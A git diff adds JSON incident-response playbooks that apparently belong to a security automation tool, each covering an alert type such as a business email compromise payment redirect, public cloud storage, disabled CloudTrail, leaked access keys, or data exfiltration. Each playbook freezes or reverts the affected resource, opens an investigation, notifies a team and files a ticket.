mode 100644index 000000000..912cbb424--- /dev/null+++ b/playbooks/packs/v1/bec/bec-vendor-payment-redirect.playbook.json@@ -0,0 +1,104 @@+{+ "id": "bec-vendor-payment-redirect-v1",+ "name": "BEC: Vendor Payment Redirect \u2014 Freeze",+ "description": "Triggered when a vendor banking detail change happens via email. Freezes pending payments and pages CFO.",+ "version": "1.0.0",+ "tags": [+ "bec",+ "bec",+ "finance",+ "mitre.t1565.001"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "bec"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "freeze",+ "name": "Freeze pending vendor payment",+ "type": "http",+ "params": {+ "url": "${ERP_URL}/payments/{{alert.payment_id}}/freeze",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate vendor change",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "identity"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page CFO",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Vendor payment {{alert.payment_id}} frozen pending review.",+ "service_key_env": "PD_CFO_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "approve",+ "name": "Wait for human approval",+ "type": "condition",+ "params": {},+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 5,+ "condition": {+ "field": "context.approved_by_oncall",+ "operator": "eq",+ "value": true+ },+ "next_true": "release"+ },+ {+ "id": "release",+ "name": "Release payment after approval",+ "type": "http",+ "params": {+ "url": "${ERP_URL}/payments/{{alert.payment_id}}/release",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "t1",+ "name": "Open BEC payment ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "BEC payment redirect: {{alert.vendor}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-azure-blob-public.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-azure-blob-public.playbook.jsonnew file mode 100644index 000000000..34caea9d5--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-azure-blob-public.playbook.json@@ -0,0 +1,78 @@+{+ "id": "cloud-azure-blob-public-v1",+ "name": "Cloud: Azure Blob Container Public",+ "description": "Triggered when an Azure Storage container is set to public. Reverts to private and audits.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "azure",+ "storage",+ "mitre.t1530"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "private",+ "name": "Set container private",+ "type": "http",+ "params": {+ "url": "${AZURE_URL}/storage/{{alert.account}}/{{alert.container}}/private",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit blob access",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify cloud team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Azure {{alert.container}} re-privatized.",+ "webhook_env": "SLACK_CLOUD_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open Azure ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "Azure blob public: {{alert.container}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-cloudtrail-disabled.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-cloudtrail-disabled.playbook.jsonnew file mode 100644index 000000000..3b5dd2743--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-cloudtrail-disabled.playbook.json@@ -0,0 +1,78 @@+{+ "id": "cloud-cloudtrail-disabled-v1",+ "name": "Cloud: CloudTrail Disabled \u2014 Re-enable",+ "description": "Triggered when a CloudTrail trail is stopped. Restarts trail and audits API calls in the dark window.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "logging",+ "mitre.t1562.008"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "start",+ "name": "Re-enable CloudTrail",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/cloudtrail/{{alert.trail}}/start",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit dark-window calls",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page cloud-sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "CloudTrail {{alert.trail}} restarted.",+ "service_key_env": "PD_CLOUD_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open CloudTrail ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "CloudTrail disabled: {{alert.trail}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-cross-account-trust.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-cross-account-trust.playbook.jsonnew file mode 100644index 000000000..307ba7e39--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-cross-account-trust.playbook.json@@ -0,0 +1,78 @@+{+ "id": "cloud-cross-account-trust-v1",+ "name": "Cloud: Unexpected Cross-Account Trust",+ "description": "Triggered when a role trust policy adds an external account ID not on the allow-list. Revokes and audits.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam",+ "mitre.t1078.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "revoke-trust",+ "name": "Remove cross-account trust",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/iam/{{alert.role}}/trust/{{alert.external_account}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit assumptions in dark window",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page cloud-sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Cross-account trust to {{alert.external_account}} removed from {{alert.role}}.",+ "service_key_env": "PD_CLOUD_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open cross-account ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Cross-account trust: {{alert.role}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-gke-anonymous.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-gke-anonymous.playbook.jsonnew file mode 100644index 000000000..c6e409419--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-gke-anonymous.playbook.json@@ -0,0 +1,79 @@+{+ "id": "cloud-gke-anonymous-v1",+ "name": "Cloud: GKE Cluster Anonymous Auth",+ "description": "Triggered when GKE cluster is configured to allow anonymous Kubernetes API access. Disables anonymous and audits.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "gcp",+ "kubernetes",+ "mitre.t1190"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "disable-anon",+ "name": "Disable anonymous auth",+ "type": "http",+ "params": {+ "url": "${GCP_URL}/gke/{{alert.cluster}}/anonymous/disable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit anonymous-window calls",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page platform team",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "GKE {{alert.cluster}} anonymous disabled.",+ "service_key_env": "PD_PLATFORM_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open GKE-anon ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "GKE anonymous: {{alert.cluster}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-iam-overpriv.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-iam-overpriv.playbook.jsonnew file mode 100644index 000000000..606bb29f5--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-iam-overpriv.playbook.json@@ -0,0 +1,79 @@+{+ "id": "cloud-iam-overpriv-v1",+ "name": "Cloud: Over-Privileged IAM \u2014 Detach & Review",+ "description": "Triggered when IAM Access Analyzer flags an over-privileged role. Detaches the policy and opens an owner-review ticket.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "iam",+ "mitre.t1078.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "detach",+ "name": "Detach over-privileged policy",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/iam/{{alert.role}}/policies/{{alert.policy}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate access usage",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify role owner",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Policy {{alert.policy}} detached from {{alert.role}}. Re-add only the minimum needed.",+ "webhook_env": "SLACK_CLOUD_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Owner-review ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "IAM over-priv: {{alert.role}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-key-leak.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-key-leak.playbook.jsonnew file mode 100644index 000000000..a5c6c9982--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-key-leak.playbook.json@@ -0,0 +1,89 @@+{+ "id": "cloud-key-leak-v1",+ "name": "Cloud: Cloud Access Key Leaked",+ "description": "Triggered when a long-lived access key is found in a public repo or paste site. Rotates the key and scans for downstream use.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "secrets",+ "mitre.t1552.001"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "disable",+ "name": "Disable leaked key",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/iam/users/{{alert.user}}/keys/{{alert.key_id}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "rotate",+ "name": "Rotate access key",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/iam/users/{{alert.user}}/keys/rotate",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Find downstream use of key",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page cloud-sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Leaked key {{alert.key_id}} disabled and rotated.",+ "service_key_env": "PD_CLOUD_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open key-leak ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Leaked key: {{alert.key_id}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-mfa-disabled-root.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-mfa-disabled-root.playbook.jsonnew file mode 100644index 000000000..5cdb8d84b--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-mfa-disabled-root.playbook.json@@ -0,0 +1,78 @@+{+ "id": "cloud-mfa-disabled-root-v1",+ "name": "Cloud: Root Account MFA Disabled",+ "description": "Triggered when root MFA is disabled. Re-enables MFA and pages the cloud-platform owner immediately.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "iam",+ "mfa",+ "mitre.t1556"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "reenable-mfa",+ "name": "Re-enable root MFA",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/iam/root/mfa/enable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Identify actor and intent",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page platform-owner",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Root MFA was disabled \u2014 re-enabled. Investigate {{alert.actor}}.",+ "service_key_env": "PD_PLATFORM_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open root-MFA ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Root MFA disabled by {{alert.actor}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-rds-public.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-rds-public.playbook.jsonnew file mode 100644index 000000000..d4ba3d705--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-rds-public.playbook.json@@ -0,0 +1,79 @@+{+ "id": "cloud-rds-public-v1",+ "name": "Cloud: RDS Instance Publicly Accessible",+ "description": "Triggered when an RDS instance toggles to publicly accessible. Removes public access and audits.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "rds",+ "mitre.t1190"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "private",+ "name": "Disable RDS public access",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/rds/{{alert.instance}}/public/disable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit RDS access window",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify cloud team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "RDS {{alert.instance}} no longer public.",+ "webhook_env": "SLACK_CLOUD_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open RDS-public ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "RDS public: {{alert.instance}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-s3-public.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-s3-public.playbook.jsonnew file mode 100644index 000000000..84b762400--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-s3-public.playbook.json@@ -0,0 +1,91 @@+{+ "id": "cloud-s3-public-v1",+ "name": "Cloud: S3 Bucket Public \u2014 Re-private & Audit",+ "description": "Triggered by `s3-public-bucket` detection. Sets bucket private, enables Block Public Access, and audits last 7d access logs.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "s3",+ "mitre.t1530"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "private",+ "name": "Set bucket private",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/s3/{{alert.bucket}}/acl/private",+ "method": "PUT"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "bpa",+ "name": "Enable Block Public Access",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/s3/{{alert.bucket}}/block-public-access",+ "method": "PUT"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit last 7d S3 access",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify cloud team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "S3 {{alert.bucket}} re-privatized.",+ "webhook_env": "SLACK_CLOUD_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open cloud ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "S3 public: {{alert.bucket}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/cloud-misconfig/cloud-security-group-open.playbook.json b/playbooks/packs/v1/cloud-misconfig/cloud-security-group-open.playbook.jsonnew file mode 100644index 000000000..6e3ee5d7b--- /dev/null+++ b/playbooks/packs/v1/cloud-misconfig/cloud-security-group-open.playbook.json@@ -0,0 +1,79 @@+{+ "id": "cloud-security-group-open-v1",+ "name": "Cloud: Security Group Opens 0.0.0.0/0",+ "description": "Triggered when a security group rule allows ingress from 0.0.0.0/0 to a sensitive port. Closes the rule and audits the change.",+ "version": "1.0.0",+ "tags": [+ "cloud-misconfig",+ "cloud",+ "aws",+ "network",+ "mitre.t1190"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "cloud-misconfig"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "close",+ "name": "Remove 0.0.0.0/0 ingress rule",+ "type": "http",+ "params": {+ "url": "${AWS_URL}/sg/{{alert.sg}}/ingress/{{alert.rule_id}}",+ "method": "DELETE"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Audit who made the change",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify cloud team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "SG {{alert.sg}} 0.0.0.0/0 ingress removed.",+ "webhook_env": "SLACK_CLOUD_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open SG ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "SG open: {{alert.sg}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/data-exfil/exfil-archive-egress.playbook.json b/playbooks/packs/v1/data-exfil/exfil-archive-egress.playbook.jsonnew file mode 100644index 000000000..42306cdb3--- /dev/null+++ b/playbooks/packs/v1/data-exfil/exfil-archive-egress.playbook.json@@ -0,0 +1,90 @@+{+ "id": "exfil-archive-egress-v1",+ "name": "Exfil: Archive File Egress (.zip / .7z / .rar)",+ "description": "Triggered when a host uploads an archive to an external dest. Holds the file in DLP review queue and notifies user's manager.",+ "version": "1.0.0",+ "tags": [+ "data-exfil",+ "exfil",+ "dlp",+ "archive"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "data-exfil"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich destination",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.dst_host"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "dlp-review",+ "name": "Send to DLP review queue",+ "type": "http",+ "params": {+ "url": "${DLP_URL}/review",+ "method": "POST",+ "body_template": "{\"host\":\"{{alert.host}}\",\"file\":\"{{alert.file_name}}\",\"dst\":\"{{alert.dst_host}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate archive content",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify user's manager",+ "type": "notify",+ "params": {+ "channel": "email",+ "message_template": "Archive upload by {{alert.user}} to {{alert.dst_host}} queued for DLP review.",+ "webhook_env": "EMAIL_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open DLP ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "Archive egress: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/data-exfil/exfil-dns-tunneling.playbook.json b/playbooks/packs/v1/data-exfil/exfil-dns-tunneling.playbook.jsonnew file mode 100644index 000000000..083457f76--- /dev/null+++ b/playbooks/packs/v1/data-exfil/exfil-dns-tunneling.playbook.json@@ -0,0 +1,100 @@+{+ "id": "exfil-dns-tunneling-v1",+ "name": "Exfil: DNS Tunneling",+ "description": "Triggered by high-entropy DNS query length on a host. Sinkholes the suspect domain and isolates the host.",+ "version": "1.0.0",+ "tags": [+ "data-exfil",+ "exfil",+ "dns",+ "mitre.t1071.004"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "data-exfil"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich domain reputation",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.dns_query"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "sinkhole",+ "name": "Sinkhole domain at resolver",+ "type": "http",+ "params": {+ "url": "${DNS_URL}/sinkhole",+ "method": "POST",+ "body_template": "{\"domain\":\"{{alert.dns_query}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "iso",+ "name": "Isolate beaconing host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate DNS tunneling",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "DNS tunneling {{alert.host}} -> {{alert.dns_query}} sinkholed and isolated.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open DNS-tunnel ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "DNS tunneling: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/data-exfil/exfil-large-upload.playbook.json b/playbooks/packs/v1/data-exfil/exfil-large-upload.playbook.jsonnew file mode 100644index 000000000..07c1c7aaa--- /dev/null+++ b/playbooks/packs/v1/data-exfil/exfil-large-upload.playbook.json@@ -0,0 +1,90 @@+{+ "id": "exfil-large-upload-v1",+ "name": "Exfil: Large Outbound Upload",+ "description": "Triggered when a host uploads >X GB to a non-corporate destination in a short window. Blocks destination and investigates.",+ "version": "1.0.0",+ "tags": [+ "data-exfil",+ "exfil",+ "dlp",+ "mitre.t1567"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "data-exfil"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich destination",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.dst_host"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "block",+ "name": "Block destination at proxy",+ "type": "http",+ "params": {+ "url": "${PROXY_URL}/policy/block",+ "method": "POST",+ "body_template": "{\"host\":\"{{alert.dst_host}}\",\"reason\":\"large-upload\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate exfil pattern",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Large upload {{alert.bytes_out}} from {{alert.host}} to {{alert.dst_host}} blocked.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open exfil ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "Large upload: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/data-exfil/exfil-personal-cloud.playbook.json 